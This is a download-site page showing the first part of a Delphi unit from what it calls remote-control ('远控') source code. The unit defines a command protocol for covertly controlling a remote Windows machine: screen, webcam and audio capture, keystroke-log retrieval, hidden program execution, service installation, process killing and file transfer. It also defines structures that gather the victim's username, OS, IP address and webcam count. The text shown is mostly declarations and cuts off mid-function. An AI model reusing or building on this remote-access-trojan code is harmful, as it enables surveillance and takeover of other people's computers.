⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 publicfunctionunit.pas

📁 iocp远控比较完整的代码.iocp far more complete control of the code
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit PublicFunctionUnit;

interface
uses
    Windows, Messages, WinSock2, Classes, Controls,  
    SysUtils, mssock, forms, lzo, MxZLib, untTQQWry;

const
  //命令类型
  CapScreen             = 2000;
  CapVideo              = 2001;
  CapAudio              = 2002;
  GetSystemInfo         = 2003;
  TransmitFiles         = 2004;
  //文件操作
  CMDDeleteFile         = 3001;
  CMDMakeDir            = 3002;
  CMDPeastFile          = 3003;
  CMDCopyFile           = 3004;
  CMDRenameFile         = 3005;
  CMDSendFileList       = 3006;
  CMDCutFile            = 3007;
  //主机信息
  CMDGetSystemInfo      = 3010;
  //进程操作
  CMDGetProcessList     = 3020;
  CMDKillProcess        = 3021;
  //窗口操作
  CMDGetWindowList      = 3030;
  CMDKillWindow         = 3031;
  CMDBringWindowFront   = 3032;
  CMDHideWindow         = 3033;
  CMDShowWindow         = 3034;
  CMDMaxWindow          = 3035;
  CMDMinWindow          = 3036;
  CMDResoreWindow       = 3037;
  CMDSendChar           = 3038;
  CMDSendCharEnter      = 3038;
  CMDSendCharEnterCtrl  = 3039; 
  //服务操作
  CMDGetServcieList     = 3040;
  CMDStartService       = 3041;
  CMDStopService        = 3042;
  CMDDeleteWin32Service = 3043;
  CMDPauseService       = 3044;
  CMDContinueService    = 3045;
  CMDSetAutoStartType   = 3046;
  CMDSetManualStartType = 3047;
  CMDSetDisableStartType= 3048;
  CMDAddWin32Service    = 3049;
  //键盘
  CMDGetKeyRecord       = 3060;
  //运行方式
  CMDRunNormal          = 3070;
  CMDRunHide            = 3071;
  CMDPMRunWithParam     = 3072;
  //文件传输控制命令
  RecvFile              = 4000;
  SendFile              = 4001;
  CreateDir             = 4002;
  SendDirFileList       = 4003;
  //视频控制命令
  StartCapVideo         = 5000;
  ChangeCmpedRate       = 5001;
  ChangeFPS             = 5002;
  ChangeVideoSize       = 5003;
  ChangeDriverIndex     = 5004;
  GetDriverList         = 5005;
  //屏传控制
  SetPixel1             = 1;  SetPixel4             = 4;
  SetPixel8             = 8;
  SetPixel16            = 16;
  SetPixel24            = 24;
  GetSinglePic          = 64;
  //命令回复数据标志
  NOCMDReplay                 = 0;
  VideoReplay                 = 10001;
  VideoStartErrorReplay       = 10002;
  VideoStartSucessReplay      = 10003;
  VideoDESCRIPListReplay      = 10004;
  VideoCodeIniErrorReplay     = 10005; //编码初始化错误
  VideoSendBitmapInfoReplay   = 10006; //发送编码图像头
  //文件数据标志
  TransmitFileData      = 10020;
  FileOpenEror          = 10021;
  NothingNeedTransmit   = 10022;
  CreateMapViewError    = 10023;
  MapViewError          = 10024; 

const
  MAX_BUFSIZE  = 4096;

type
  TDriverDescriptionArray = array[0..14] of Char;type  ESocketError = class(Exception);  TOperRationType=(IO_ACCEPT, IO_READ, IO_WRITE, IO_END, IO_NOTHING);  TIocpCompleteState = (IOCP_COMPLETE_READ, IOCP_COMPLETE_ACCEPT_READ, IOCP_COMPLETE_WRITE, IOCP_COMPLETE_ACCEPT);  TCommandType = (CMD_SENDCTRL,	CMD_SENDMOUSE_KEY_CTRL,	CMD_SEND_OTHERCTRL,	CMD_SEND_NOTHING);  //记录鼠标和键盘动作的结构  TKeyAndCursorData = packed record
    HeadTag : Byte;
    WMtpye : LongWord;
    MouseX : integer;
    MouseY : integer;
  end;  //每个完整数据的头描述  TDataHeaderInfo = packed record    UnCompressedDataSize : DWord;
    CompressedDataSize : DWord;
    DataType : DWORD;  //描述数据是命令回复的数据还是流数据
  end;  //命令命令对象  TOrderObject = (MainSocketData, RemoteScreenData, RemoteVideoData, RemoteAudioData,
                  GetSystemInfoData, RemoteFileData);  //交互的命令格式--详细描述见文件开始  TInterChangeHeader = packed record
    OrderObject : DWORD;
    Order       : DWORD;
    OrderExtend : DWORD;
    ExdSource   : DWORD;
    ExdDest     : DWORD;
  end;
  //与每一个的主socket对应的结构,用来保存实例对象指针
  pAllCtrlInstanceStructure = ^TAllCtrlInstanceStructure;
  TAllCtrlInstanceStructure = packed record
    CapScreenInstance     : DWORD;
    CapVideoInstance      : DWORD;
    CapAudioInstance      : DWORD;
    GetSystemInfoInstance : DWORD;
    TransmitFilesInstance : DWORD;
  end;  //系统信息  TRemoteSystemInfo = packed record    LocalIPaddressString : array[0..14] of Char;//ip内网地址    ServerIconIndex : Byte; //socket在liestview里面的头像编号
    ServerVersion : array[0..15] of Char; //远程主机的服务端版本号
    CurrentUserName : array[0..150] of Char; //远程主机的用户名
    SystemVersion : TOSVersionInfo; //远程主机的操作系统类型    UseSelfDefine : array[0..150] of Char; //备注    WebCamCount : Byte; //摄像头数量    RemoteDataType : TOrderObject; //标识对象数据类型    PerIODataPointer : DWORD; //指向一个单io数据的指针,记录server发来的单io的指针   end;   //粘包处理的  pRemoteDataInfo = ^TRemoteDataInfo;
  TRemoteDataInfo = packed record
    DataHeaderInfo : TDataHeaderInfo; //数据头
    FilledDataLength : DWORD; //写入的数据的长度
  end;  //用于存放数据包头的前部分未完整包  ptmpBuf = ^TtmpBuf;
  TtmpBuf = packed record
    tmpBuf : array [0..sizeof(TDataHeaderInfo) - 1] of Char;
    tmpDataSize : integer;                //记录临时缓冲区里面的数据的大小
  end;  //单IO数据结构  PPerHandleData = ^TPerHandleData;  { Helper record used to hold overlapped data }  TPerHandleData = packed record    Overlapped : OVERLAPPED;    ptrBuffer : PWSABUF;    Socket : TSocket;    Buffer: array [0..MAX_BUFSIZE - 1] of Char;    operType : TOperRationType; //IO操作类型    sendCMDtype : TCommandType; //发送的数据类型    ExternalIPaddressString : array[0..14] of Char;//ip地址    RemoteDataInfo : TRemoteDataInfo;//粘包处理用    RemoteSystemInfo : TRemoteSystemInfo;//记录远程主机信息等用    //保存屏传等等的实例指针,在主socket里面记录各个子功能类句柄的    AllCtrlInstance : TAllCtrlInstanceStructure;    IsInformed : Boolean; //是否填充过远程主机信息    IsAlive : Boolean; //主机是否还活着,心跳检测用    IsUsed : Boolean; //主机来的数据是不是还在用  end;   //socket记录结构体
  TSocketRecord = packed record
    Socket : TSocket;
    Ip : string;
    Address : string;
    ChangeSocketSemaphore : TRTLCriticalSection; //Socket变更控制的临界区 
  end;

//iocp用的内存分配等函数
procedure MakeOverlappedPlus(var op: PPerHandleData; ioType: TOperRationType);
procedure FreeOverlappedPlus(var op: PPerHandleData); procedure InitIoContext(ovlap_prt : PPerHandleData; const BufLen : integer = MAX_BUFSIZE);
//得到主机位置
function GetRemoteAddress(const IP : string) : string;
//发送命令
procedure SetCmdSignByte(OperatingSocket : TSocket; CMDHeader : TInterChangeHeader;
  const IsScreenOrder : Boolean = True; const FileName : string = '');
//发送鼠标和键盘控制procedure SetCtrlStructure(OperatingSocket: TSocket;  KeyAndCursorData : TKeyAndCursorData; var CtrlPerHandleData : PPerHandleData); //简单的内存池实现--获取内存
procedure GetMyMem(const Size : DWORD; var P : Pointer; const Pool : array of Char);//简单的内存池实现--释放内存procedure FreeMyMem(var P : Pointer; const Pool : array of Char); 
//实例化类内回调函数
function MakeProcInstance(M: TMethod): Pointer;
procedure FreeProcInstance(ProcInstance: Pointer);
Function FileTimeToDateTime(FileTime : TFileTime) : TDateTime;
//得到文件的大小
function GetFileSize(const FileName : string) : LongInt;

implementation 

//创建一个重叠结构
procedure MakeOverlappedPlus(var op: PPerHandleData; ioType: TOperRationType);   
begin
  New(op);
  FillChar(op^, SizeOf(TPerHandleData), 0);
  op^.operType := ioType;
  //设置为在线
  op^.IsAlive := True;
  //设置为在用
  op^.IsUsed := True;
  op^.sendCMDtype := CMD_SEND_NOTHING;
  New(op^.ptrBuffer);
  op^.ptrBuffer^.buf := @op^.Buffer[0];
  op^.ptrBuffer^.len := MAX_BUFSIZE;
  op^.Socket := INVALID_SOCKET; 
end;

//释放单I/O数据内存
procedure FreeOverlappedPlus(var op: PPerHandleData);
begin
  if op <> nil then

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -